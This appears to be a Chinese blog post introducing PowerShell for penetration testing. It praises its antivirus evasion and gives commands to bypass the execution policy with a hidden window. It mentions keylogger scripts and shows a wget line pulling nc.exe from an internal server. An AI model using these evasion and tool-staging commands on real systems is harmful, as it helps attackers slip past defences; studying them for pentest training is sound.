[Windows服务器] PowerShell基础

本文介绍了PowerShell的基础知识,包括其作为Windows系统默认脚本环境的特点,以及如何使用执行策略、绕过权限执行脚本、下载远程数据等实用技巧。特别强调了ExecutionPolicyBypass在渗透测试中的重要性。
摘要由CSDN通过智能技术生成

PowerShell基础

学习目标

了解powershell基础

掌握powershell的常用命令

掌握powershell的执行策略

了解后续工作中powershell的使用场景与集成攻击框架工具安装

简介

Powershell是运行在windows机器上实现系统和应用程序自动化的命令行脚本环境。

特点:

​ 在windows以上版本的操作系统中是默认安装的脚本

​ 可以在内存中运行,不需要写入磁盘

​ 几乎不会触发杀毒软件

​ 可以远程执行

​ 目前很多工具都是基于powershell开发的

​ 使windows脚本的执行变得更容易

​ cmd.exe的运行通常会被阻止,但是powershell的运行通常不会被阻止

​ 可用于管理活动目录

​ 在powershell中是不区分大小写的,命名规范采用的是“动词-名词”

命令

绕过本地执行

powershell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏绕过权限执行脚本

PowerShell.exe -ExecutionPolicy -NoLogo -Nonlnteractive -NoProfile -WindowStyle hidden -ExecutionPolicy Bypass - file xxx.ps1

(ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数)

WindowStyle hidden:隐藏窗口

NoLogo:启动不显示版权标志的PowerShell

Nonlnteractive(-Nonl):非交互模式,PowerShell不为用户提供交互的提示

NoProfile(-Nop):PowerShell控制台不加载当前用户的配置文件

Noexit:执行后不退出Shell。这在使用键盘记录脚本时非常重要)

powershell下载远程数据

powershell wget "http://172.16.0.107:8000/nc.exe" -outfile "nc.exe"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Da1NtY0926

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值